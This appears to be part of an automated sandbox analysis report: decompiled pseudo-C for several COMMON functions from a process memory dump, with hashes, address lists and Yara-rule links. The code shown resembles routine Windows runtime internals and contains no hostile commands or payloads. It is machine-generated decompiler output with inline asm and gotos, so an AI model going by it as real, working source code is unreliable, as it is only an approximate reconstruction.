Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaa65e3480dcad0917aa7b595a7043e45638788d9a40a62f2ecd8ba75c38cf86
Instruction ID: 0fe037701cf46322d42c4b05ecad0e37ef488dda99cf752230d8e201cac37e7c
Opcode Fuzzy Hash: eaa65e3480dcad0917aa7b595a7043e45638788d9a40a62f2ecd8ba75c38cf86
Instruction Fuzzy Hash: 92413BB1D00208AFDB14DFA5D940BEEBBF4FF48714F14816AE914A7250EB74A906CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04B15210, Relevance: .1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E04B15210(intOrPtr _a4, void* _a8) {
				void* __ecx;
				intOrPtr _t31;
				signed int _t32;
				signed int _t33;
				intOrPtr _t35;
				signed int _t52;
				void* _t54;
				void* _t56;
				unsigned int _t59;
				signed int _t60;
				void* _t61;

				_t61 = E04B152A5(1);
				if(_t61 == 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t54 =  *((intOrPtr*)(_t31 + 0x28));
					_t59 =  *(_t31 + 0x24) & 0x0000ffff;
				} else {
					_t54 =  *((intOrPtr*)(_t61 + 0x10));
					_t59 =  *(_t61 + 0xc) & 0x0000ffff;
				}
				_t60 = _t59 >> 1;
				_t32 = 0x3a;
				if(_t60 < 2 ||  *((intOrPtr*)(_t54 + _t60 * 2 - 4)) == _t32) {
					_t52 = _t60 + _t60;
					if(_a4 > _t52) {
						goto L5;
					}
					if(_t61 != 0) {
						asm("lock xadd [esi], eax");
						if((_t32 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E04B595D0();
							L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					} else {
						E04B2EB70(_t54, 0x4c079a0);
					}
					_t26 = _t52 + 2; // 0xddeeddf0
					return _t26;
				} else {
					_t52 = _t60 + _t60;
					if(_a4 < _t52) {
						if(_t61 != 0) {
							asm("lock xadd [esi], eax");
							if((_t32 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t61 + 4)));
								E04B595D0();
								L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
							}
						} else {
							E04B2EB70(_t54, 0x4c079a0);
						}
						return _t52;
					}
					L5:
					_t33 = E04B5F3E0(_a8, _t54, _t52);
					if(_t61 == 0) {
						E04B2EB70(_t54, 0x4c079a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t33 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E04B595D0();
							L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					}
					_t35 = _a8;
					if(_t60 <= 1) {
						L9:
						_t60 = _t60 - 1;
						 *((short*)(_t52 + _t35 - 2)) = 0;
						goto L10;
					} else {
						_t56 = 0x3a;
						if( *((intOrPtr*)(_t35 + _t60 * 2 - 4)) == _t56) {
							 *((short*)(_t52 + _t35)) = 0;
							L10:
							return _t60 + _t60;
						}
						goto L9;
					}
				}
			}

0x04b15220
0x04b15224
0x04b70d13
0x04b70d16
0x04b70d19
0x04b1522a
0x04b1522a
0x04b1522d
0x04b1522d
0x04b15231
0x04b15235
0x04b15239
0x04b70d5c
0x04b70d62
0x00000000
0x00000000
0x04b70d6a
0x04b70d7b
0x04b70d7f
0x04b70d81
0x04b70d84
0x04b70d95
0x04b70d95
0x04b70d6c
0x04b70d71
0x04b70d71
0x04b70d9a
0x00000000
0x04b1524a
0x04b1524a
0x04b15250
0x04b70d24
0x04b70d35
0x04b70d39
0x04b70d3b
0x04b70d3e
0x04b70d50
0x04b70d50
0x04b70d26
0x04b70d2b
0x04b70d2b
0x00000000
0x04b70d55
0x04b15256
0x04b1525b
0x04b15265
0x04b70da7
0x04b1526b
0x04b1526e
0x04b15272
0x04b70db1
0x04b70db4
0x04b70dc5
0x04b70dc5
0x04b15272
0x04b15278
0x04b1527e
0x04b1528a
0x04b1528c
0x04b1528d
0x00000000
0x04b15280
0x04b15282
0x04b15288
0x04b1529f
0x04b15292
0x00000000
0x04b15292
0x00000000
0x04b15288
0x04b1527e

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 599f3a2c189aa5d4d75ec4a16648cf00cede779c5047bad5e85eeaa6483765d8
Instruction ID: 70e8defa875a83f5e4bb990145cbe69ecb3519f95f6daac76b45de320d746339
Opcode Fuzzy Hash: 599f3a2c189aa5d4d75ec4a16648cf00cede779c5047bad5e85eeaa6483765d8
Instruction Fuzzy Hash: 9B312632251714EBDB35AF18C880B66B7A5FF40724F5086AAEC290B1B0EB70F900DAD0

Uniqueness

Uniqueness Score: -1.00%

Function 04B53D43, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B53D43(signed short* __ecx, signed short* __edx, signed short* _a4, signed short** _a8, intOrPtr* _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				char _v12;
				signed short** _t33;
				short* _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				signed short _t43;
				intOrPtr* _t47;
				intOrPtr* _t53;
				signed short _t57;
				intOrPtr _t58;
				signed short _t60;
				signed short* _t61;

				_t47 = __ecx;
				_t61 = __edx;
				_t60 = ( *__ecx & 0x0000ffff) + 2;
				if(_t60 > 0xfffe) {
					L22:
					return 0xc0000106;
				}
				if(__edx != 0) {
					if(_t60 <= ( *(__edx + 2) & 0x0000ffff)) {
						L5:
						E04B27B60(0, _t61, 0x4af11c4);
						_v12 =  *_t47;
						_v12 = _v12 + 0xfff8;
						_v8 =  *((intOrPtr*)(_t47 + 4)) + 8;
						E04B27B60(0xfff8, _t61,  &_v12);
						_t33 = _a8;
						if(_t33 != 0) {
							 *_t33 = _t61;
						}
						 *((short*)(_t61[2] + (( *_t61 & 0x0000ffff) >> 1) * 2)) = 0;
						_t53 = _a12;
						if(_t53 != 0) {
							_t57 = _t61[2];
							_t38 = _t57 + ((( *_t61 & 0x0000ffff) >> 1) - 1) * 2;
							while(_t38 >= _t57) {
								if( *_t38 == 0x5c) {
									_t41 = _t38 + 2;
									if(_t41 == 0) {
										break;
									}
									_t58 = 0;
									if( *_t41 == 0) {
										L19:
										 *_t53 = _t58;
										goto L7;
									}
									 *_t53 = _t41;
									goto L7;
								}
								_t38 = _t38 - 2;
							}
							_t58 = 0;
							goto L19;
						} else {
							L7:
							_t39 = _a16;
							if(_t39 != 0) {
								 *_t39 = 0;
								 *((intOrPtr*)(_t39 + 4)) = 0;
								 *((intOrPtr*)(_t39 + 8)) = 0;
								 *((intOrPtr*)(_t39 + 0xc)) = 0;
							}
							return 0;
						}
					}
					_t61 = _a4;
					if(_t61 != 0) {
						L3:
						_t43 = L04B34620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t60);
						_t61[2] = _t43;
						if(_t43 == 0) {
							return 0xc0000017;
						}
						_t61[1] = _t60;
						 *_t61 = 0;
						goto L5;
					}
					goto L22;
				}
				_t61 = _a4;
				if(_t61 == 0) {
					return 0xc000000d;
				}
				goto L3;
			}

0x04b53d4c
0x04b53d50
0x04b53d55
0x04b53d5e
0x04b8e79a
0x00000000
0x04b8e79a
0x04b53d68
0x04b8e789
0x04b53d9d
0x04b53da3
0x04b53daf
0x04b53db5
0x04b53dbc
0x04b53dc4
0x04b53dc9
0x04b53dce
0x04b8e7ae
0x04b8e7ae
0x04b53dde
0x04b53de2
0x04b53de7
0x04b53e0d
0x04b53e13
0x04b53e16
0x04b53e1e
0x04b53e25
0x04b53e28
0x00000000
0x00000000
0x04b53e2a
0x04b53e2f
0x04b53e37
0x04b53e37
0x00000000
0x04b53e37
0x04b53e31
0x00000000
0x04b53e31
0x04b53e20
0x04b53e20
0x04b53e35
0x00000000
0x04b53de9
0x04b53de9
0x04b53de9
0x04b53dee
0x04b53dfd
0x04b53dff
0x04b53e02
0x04b53e05
0x04b53e05
0x00000000
0x04b53df0
0x04b53de7
0x04b8e78f
0x04b8e794
0x04b53d79
0x04b53d84
0x04b53d89
0x04b53d8e
0x00000000
0x04b8e7a4
0x04b53d96
0x04b53d9a
0x00000000
0x04b53d9a
0x00000000
0x04b8e794
0x04b53d6e
0x04b53d73
0x00000000
0x04b8e7b5
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1ba5ebddd38b62962d108c04f933eca02cf5b93e0e62bcb7b01e8da4aa29766
Instruction ID: a54ffa26d4e36cc0f9b5cc62fbb8dc5a8fdd9cbf6821927df3499936bb4549a9
Opcode Fuzzy Hash: b1ba5ebddd38b62962d108c04f933eca02cf5b93e0e62bcb7b01e8da4aa29766
Instruction Fuzzy Hash: 4D31AD35601614DBD7258F29C841B7ABBF5EF99780B0584AEEC49CB3A0E630E841E7A0

Uniqueness

Uniqueness Score: -1.00%

Function 04B4A61C, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E04B4A61C(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr* _t51;
				intOrPtr* _t52;
				intOrPtr* _t55;
				signed int _t57;
				intOrPtr* _t59;
				intOrPtr _t68;
				intOrPtr* _t77;
				void* _t79;
				signed int _t80;
				intOrPtr _t81;
				char* _t82;
				void* _t83;

				_push(0x24);
				_push(0x4bf0220);
				E04B6D08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t83 - 0x30)) = __edx;
				_t79 = __ecx;
				_t35 =  *0x4c07b9c; // 0x0
				_t55 = L04B34620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t35 + 0xc0000, 0x28);
				 *((intOrPtr*)(_t83 - 0x24)) = _t55;
				if(_t55 == 0) {
					_t39 = 0xc0000017;
					L11:
					return E04B6D0D1(_t39);
				}
				_t68 = 0;
				 *((intOrPtr*)(_t83 - 0x1c)) = 0;
				 *(_t83 - 4) =  *(_t83 - 4) & 0;
				_t7 = _t55 + 8; // 0x8
				_t57 = 6;
				memcpy(_t7, _t79, _t57 << 2);
				_t80 = 0xfffffffe;
				 *(_t83 - 4) = _t80;
				if(0 < 0) {
					L14:
					_t81 =  *((intOrPtr*)(_t83 - 0x1c));
					L20:
					L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
					_t39 = _t81;
					goto L11;
				}
				if( *((intOrPtr*)(_t55 + 0xc)) <  *(_t55 + 8)) {
					_t81 = 0xc000007b;
					goto L20;
				}
				if( *((intOrPtr*)(_t83 + 0xc)) == 0) {
					_t59 =  *((intOrPtr*)(_t83 + 8));
					_t45 =  *_t59;
					 *((intOrPtr*)(_t83 - 0x20)) = _t45;
					 *_t59 = _t45 + 1;
					L6:
					 *(_t83 - 4) = 1;
					 *((intOrPtr*)( *((intOrPtr*)(_t55 + 0x10)))) =  *((intOrPtr*)(_t83 - 0x20));
					 *(_t83 - 4) = _t80;
					if(_t68 < 0) {
						_t82 =  *((intOrPtr*)(_t83 + 0xc));
						if(_t82 == 0) {
							goto L14;
						}
						asm("btr eax, ecx");
						_t81 =  *((intOrPtr*)(_t83 - 0x1c));
						if( *_t82 != 0) {
							 *0x4c07b10 =  *0x4c07b10 - 8;
						}
						goto L20;
					}
					 *((intOrPtr*)(_t55 + 0x24)) =  *((intOrPtr*)(_t83 - 0x20));
					 *((intOrPtr*)(_t55 + 0x20)) =  *((intOrPtr*)(_t83 - 0x30));
					_t51 =  *0x4c0536c; // 0x2f20e10
					if( *_t51 != 0x4c05368) {
						_push(3);
						asm("int 0x29");
						goto L14;
					}
					 *_t55 = 0x4c05368;
					 *((intOrPtr*)(_t55 + 4)) = _t51;
					 *_t51 = _t55;
					 *0x4c0536c = _t55;
					_t52 =  *((intOrPtr*)(_t83 + 0x10));
					if(_t52 != 0) {
						 *_t52 = _t55;
					}
					_t39 = 0;
					goto L11;
				}
				_t77 =  *((intOrPtr*)(_t83 + 8));
				_t68 = E04B4A70E(_t77,  *((intOrPtr*)(_t83 + 0xc)));
				 *((intOrPtr*)(_t83 - 0x1c)) = _t68;
				if(_t68 < 0) {
					goto L14;
				}
				 *((intOrPtr*)(_t83 - 0x20)) =  *_t77;
				goto L6;
			}

0x04b4a61c
0x04b4a61e
0x04b4a623
0x04b4a628
0x04b4a62b
0x04b4a62d
0x04b4a648
0x04b4a64a
0x04b4a64f
0x04b89b44
0x04b4a6ec
0x04b4a6f1
0x04b4a6f1
0x04b4a655
0x04b4a657
0x04b4a65a
0x04b4a65d
0x04b4a662
0x04b4a663
0x04b4a667
0x04b4a668
0x04b4a66d
0x04b4a706
0x04b4a706
0x04b89bda
0x04b89be6
0x04b89beb
0x00000000
0x04b89beb
0x04b4a679
0x04b89b7a
0x00000000
0x04b89b7a
0x04b4a683
0x04b4a6f4
0x04b4a6f7
0x04b4a6f9
0x04b4a6fd
0x04b4a6a0
0x04b4a6a0
0x04b4a6ad
0x04b4a6af
0x04b4a6b4
0x04b89ba7
0x04b89bac
0x00000000
0x00000000
0x04b89bc6
0x04b89bce
0x04b89bd1
0x04b89bd3
0x04b89bd3
0x00000000
0x04b89bd1
0x04b4a6bd
0x04b4a6c3
0x04b4a6c6
0x04b4a6d2
0x04b4a701
0x04b4a704
0x00000000
0x04b4a704
0x04b4a6d4
0x04b4a6d6
0x04b4a6d9
0x04b4a6db
0x04b4a6e1
0x04b4a6e6
0x04b4a6e8
0x04b4a6e8
0x04b4a6ea
0x00000000
0x04b4a6ea
0x04b4a688
0x04b4a692
0x04b4a694
0x04b4a699
0x00000000
0x00000000
0x04b4a69d
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecb155ecf47ba33f6a1fdd3787ec8cd98a9d771a1003edf27d5170f336c0107d
Instruction ID: 1854f79d3877c03c9c82e2350cf501703679e142194db3e70b9127fbe8a6de26
Opcode Fuzzy Hash: ecb155ecf47ba33f6a1fdd3787ec8cd98a9d771a1003edf27d5170f336c0107d
Instruction Fuzzy Hash: C44136B5A41205EFDF18DF68D890BA9BBF1FB89714F1580A9E804AB340D778B941DF90

Uniqueness

Uniqueness Score: -1.00%

Function 04B97016, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E04B97016(short __ecx, intOrPtr __edx, char _a4, char _a8, signed short* _a12, signed short* _a16) {
				signed int _v8;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				signed short* _v600;
				char _v604;
				short _v606;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short* _t55;
				void* _t56;
				signed short* _t58;
				signed char* _t61;
				char* _t68;
				void* _t69;
				void* _t71;
				void* _t72;
				signed int _t75;

				_t64 = __edx;
				_t77 = (_t75 & 0xfffffff8) - 0x25c;
				_v8 =  *0x4c0d360 ^ (_t75 & 0xfffffff8) - 0x0000025c;
				_t55 = _a16;
				_v606 = __ecx;
				_t71 = 0;
				_t58 = _a12;
				_v596 = __edx;
				_v600 = _t58;
				_t68 =  &_v588;
				if(_t58 != 0) {
					_t71 = ( *_t58 & 0x0000ffff) + 2;
					if(_t55 != 0) {
						_t71 = _t71 + ( *_t55 & 0x0000ffff) + 2;
					}
				}
				_t8 = _t71 + 0x2a; // 0x28
				_t33 = _t8;
				_v592 = _t8;
				if(_t71 <= 0x214) {
					L6:
					 *((short*)(_t68 + 6)) = _v606;
					if(_t64 != 0xffffffff) {
						asm("cdq");
						 *((intOrPtr*)(_t68 + 0x20)) = _t64;
						 *((char*)(_t68 + 0x28)) = _a4;
						 *((intOrPtr*)(_t68 + 0x24)) = _t64;
						 *((char*)(_t68 + 0x29)) = _a8;
						if(_t71 != 0) {
							_t22 = _t68 + 0x2a; // 0x2a
							_t64 = _t22;
							E04B96B4C(_t58, _t22, _t71,  &_v604);
							if(_t55 != 0) {
								_t25 = _v604 + 0x2a; // 0x2a
								_t64 = _t25 + _t68;
								E04B96B4C(_t55, _t25 + _t68, _t71 - _v604,  &_v604);
							}
							if(E04B37D50() == 0) {
								_t61 = 0x7ffe0384;
							} else {
								_t61 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							}
							_push(_t68);
							_push(_v592 + 0xffffffe0);
							_push(0x402);
							_push( *_t61 & 0x000000ff);
							E04B59AE0();
						}
					}
					_t35 =  &_v588;
					if( &_v588 != _t68) {
						_t35 = L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
					}
					L16:
					_pop(_t69);
					_pop(_t72);
					_pop(_t56);
					return E04B5B640(_t35, _t56, _v8 ^ _t77, _t64, _t69, _t72);
				}
				_t68 = L04B34620(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
				if(_t68 == 0) {
					goto L16;
				} else {
					_t58 = _v600;
					_t64 = _v596;
					goto L6;
				}
			}

0x04b97016
0x04b9701e
0x04b9702b
0x04b97033
0x04b97037
0x04b9703c
0x04b9703e
0x04b97041
0x04b97045
0x04b9704a
0x04b97050
0x04b97055
0x04b9705a
0x04b97062
0x04b97062
0x04b9705a
0x04b97064
0x04b97064
0x04b97067
0x04b97071
0x04b97096
0x04b9709b
0x04b970a2
0x04b970a6
0x04b970a7
0x04b970ad
0x04b970b3
0x04b970b6
0x04b970bb
0x04b970c3
0x04b970c3
0x04b970c6
0x04b970cd
0x04b970dd
0x04b970e0
0x04b970e2
0x04b970e2
0x04b970ee
0x04b97101
0x04b970f0
0x04b970f9
0x04b970f9
0x04b9710a
0x04b9710e
0x04b97112
0x04b97117
0x04b97118
0x04b97118
0x04b970bb
0x04b9711d
0x04b97123
0x04b97131
0x04b97131
0x04b97136
0x04b9713d
0x04b9713e
0x04b9713f
0x04b9714a
0x04b9714a
0x04b97084
0x04b97088
0x00000000
0x04b9708e
0x04b9708e
0x04b97092
0x00000000
0x04b97092

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 697f3c1a3b921309e317129d4601379c03a75cb8abede6fc582028509f6df301
Instruction ID: d35fd9eb589282792fb728fbb3a656293e1c5a5c433f4a00f431866d529961e1
Opcode Fuzzy Hash: 697f3c1a3b921309e317129d4601379c03a75cb8abede6fc582028509f6df301
Instruction Fuzzy Hash: D231C272604751EBC724DF68C841A6AB7E9FFC8700F044A69F89587690EB30FD14CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 04B3C182, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E04B3C182(void* __ecx, unsigned int* __edx, intOrPtr _a4) {
				signed int* _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				signed char _t43;
				signed char _t48;
				signed char _t62;
				void* _t63;
				intOrPtr _t69;
				intOrPtr _t71;
				unsigned int* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E04B37D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E04BE8D34(_v8, _t80);
					}
					E04B32280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E04B2FFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t30 = _t80 + 0xd0; // 0xd0
						_t83 = _t30;
						E04BE8833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E04B2FFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E04B5B180();
						if(_a4 != 0) {
							E04B32280(_t48, _t81);
						}
					} else {
						_t69 = _v8;
						_t12 = _t80 + 0x98; // 0x98
						_t13 = _t69 + 0xc; // 0x575651ff
						E04B3BB2D(_t13, _t12);
						_t71 = _v8;
						_t15 = _t80 + 0xb0; // 0xb0
						_t16 = _t71 + 8; // 0x8b000cc2
						E04B3BB2D(_t16, _t15);
						E04B3B944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E04B2FFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							_t25 = _t80 + 0x90; // 0x90
							E04B2FFB0(0, _t80, _t25);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					_t24 = _t80 + 0x90; // 0x90
					E04B2FFB0(0, __ecx, _t24);
				}
				return 0;
			}

0x04b3c18d
0x04b3c18f
0x04b3c191
0x04b3c19b
0x04b3c1a0
0x04b3c1d4
0x04b3c1de
0x04b82d6e
0x04b3c1e4
0x04b3c1e4
0x04b3c1e4
0x04b3c1ec
0x04b82d7d
0x04b82d7d
0x04b3c1f3
0x04b3c1ff
0x04b82d88
0x04b82d8d
0x04b82d94
0x04b82d94
0x04b82d9f
0x04b82da4
0x04b82dab
0x04b82db0
0x04b82db2
0x04b82db3
0x04b82db4
0x04b82dbc
0x04b82dc3
0x04b82dc3
0x04b3c205
0x04b3c205
0x04b3c208
0x04b3c20e
0x04b3c211
0x04b3c216
0x04b3c219
0x04b3c21f
0x04b3c222
0x04b3c22c
0x04b3c234
0x04b3c23a
0x04b3c23f
0x04b3c245
0x04b3c24b
0x04b3c251
0x04b3c25a
0x04b3c276
0x04b3c27d
0x04b3c27d
0x04b3c25c
0x04b3c25c
0x00000000
0x04b3c25e
0x04b3c1a4
0x04b3c1aa
0x04b3c1b3
0x04b3c265
0x04b3c26c
0x04b3c26c
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction ID: 9c00e50b2952141b51249fbbc5db69d9a0ad383cae4ab37cbda7dc52f405d093
Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction Fuzzy Hash: E7311672701546BEEB04EBF6C880BE9FB64FF56248F0481DAD41C57205DB347A15E790

Uniqueness

Uniqueness Score: -1.00%

Function 04BC3D40, Relevance: .1, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E04BC3D40(intOrPtr __ecx, char* __edx) {
				signed int _v8;
				char* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed char _v24;
				char _v28;
				char _v29;
				intOrPtr* _v32;
				char _v36;
				char _v37;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char _t34;
				intOrPtr* _t37;
				intOrPtr* _t42;
				intOrPtr* _t47;
				intOrPtr* _t48;
				intOrPtr* _t49;
				char _t51;
				void* _t52;
				intOrPtr* _t53;
				char* _t55;
				char _t59;
				char* _t61;
				intOrPtr* _t64;
				void* _t65;
				char* _t67;
				void* _t68;
				signed int _t70;

				_t62 = __edx;
				_t72 = (_t70 & 0xfffffff8) - 0x1c;
				_v8 =  *0x4c0d360 ^ (_t70 & 0xfffffff8) - 0x0000001c;
				_t34 =  &_v28;
				_v20 = __ecx;
				_t67 = __edx;
				_v24 = _t34;
				_t51 = 0;
				_v12 = __edx;
				_v29 = 0;
				_v28 = _t34;
				E04B32280(_t34, 0x4c08a6c);
				_t64 =  *0x4c05768; // 0x771c5768
				if(_t64 != 0x4c05768) {
					while(1) {
						_t8 = _t64 + 8; // 0x771c5770
						_t42 = _t8;
						_t53 = _t64;
						 *_t42 =  *_t42 + 1;
						_v16 = _t42;
						E04B2FFB0(_t53, _t64, 0x4c08a6c);
						 *0x4c0b1e0(_v24, _t67);
						if( *((intOrPtr*)( *((intOrPtr*)(_t64 + 0xc))))() != 0) {
							_v37 = 1;
						}
						E04B32280(_t45, 0x4c08a6c);
						_t47 = _v28;
						_t64 =  *_t64;
						 *_t47 =  *_t47 - 1;
						if( *_t47 != 0) {
							goto L8;
						}
						if( *((intOrPtr*)(_t64 + 4)) != _t53) {
							L10:
							_push(3);
							asm("int 0x29");
						} else {
							_t48 =  *((intOrPtr*)(_t53 + 4));
							if( *_t48 != _t53) {
								goto L10;
							} else {
								 *_t48 = _t64;
								_t61 =  &_v36;
								 *((intOrPtr*)(_t64 + 4)) = _t48;
								_t49 = _v32;
								if( *_t49 != _t61) {
									goto L10;
								} else {
									 *_t53 = _t61;
									 *((intOrPtr*)(_t53 + 4)) = _t49;
									 *_t49 = _t53;
									_v32 = _t53;
									goto L8;
								}
							}
						}
						L11:
						_t51 = _v29;
						goto L12;
						L8:
						if(_t64 != 0x4c05768) {
							_t67 = _v20;
							continue;
						}
						goto L11;
					}
				}
				L12:
				E04B2FFB0(_t51, _t64, 0x4c08a6c);
				while(1) {
					_t37 = _v28;
					_t55 =  &_v28;
					if(_t37 == _t55) {
						break;
					}
					if( *((intOrPtr*)(_t37 + 4)) != _t55) {
						goto L10;
					} else {
						_t59 =  *_t37;
						if( *((intOrPtr*)(_t59 + 4)) != _t37) {
							goto L10;
						} else {
							_t62 =  &_v28;
							_v28 = _t59;
							 *((intOrPtr*)(_t59 + 4)) =  &_v28;
							L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t37);
							continue;
						}
					}
					L18:
				}
				_pop(_t65);
				_pop(_t68);
				_pop(_t52);
				return E04B5B640(_t51, _t52, _v8 ^ _t72, _t62, _t65, _t68);
				goto L18;
			}

0x04bc3d40
0x04bc3d48
0x04bc3d52
0x04bc3d59
0x04bc3d5d
0x04bc3d61
0x04bc3d63
0x04bc3d67
0x04bc3d69
0x04bc3d72
0x04bc3d76
0x04bc3d7a
0x04bc3d7f
0x04bc3d8b
0x04bc3d91
0x04bc3d91
0x04bc3d91
0x04bc3d94
0x04bc3d96
0x04bc3d9d
0x04bc3da1
0x04bc3db0
0x04bc3dba
0x04bc3dbc
0x04bc3dbc
0x04bc3dc6
0x04bc3dcb
0x04bc3dcf
0x04bc3dd1
0x04bc3dd4
0x00000000
0x00000000
0x04bc3dd9
0x04bc3e0c
0x04bc3e0c
0x04bc3e0f
0x04bc3ddb
0x04bc3ddb
0x04bc3de0
0x00000000
0x04bc3de2
0x04bc3de2
0x04bc3de4
0x04bc3de8
0x04bc3deb
0x04bc3df1
0x00000000
0x04bc3df3
0x04bc3df3
0x04bc3df5
0x04bc3df8
0x04bc3dfa
0x00000000
0x04bc3dfa
0x04bc3df1
0x04bc3de0
0x04bc3e11
0x04bc3e11
0x00000000
0x04bc3dfe
0x04bc3e04
0x04bc3e06
0x00000000
0x04bc3e06
0x00000000
0x04bc3e04
0x04bc3d91
0x04bc3e15
0x04bc3e1a
0x04bc3e1f
0x04bc3e1f
0x04bc3e23
0x04bc3e29
0x00000000
0x00000000
0x04bc3e2e
0x00000000
0x04bc3e30
0x04bc3e30
0x04bc3e35
0x00000000
0x04bc3e37
0x04bc3e3e
0x04bc3e42
0x04bc3e48
0x04bc3e4e
0x00000000
0x04bc3e4e
0x04bc3e35
0x00000000
0x04bc3e2e
0x04bc3e5b
0x04bc3e5c
0x04bc3e5d
0x04bc3e68
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df6a6645ed1721291aa7a7d735a6ae2c7bd2e69180bf61bec3c6a9887a1dad02
Instruction ID: 401f721b0b41b74efcf92fadf65bb00522a59ca6a90e2d48b3a51cbdab793fcd
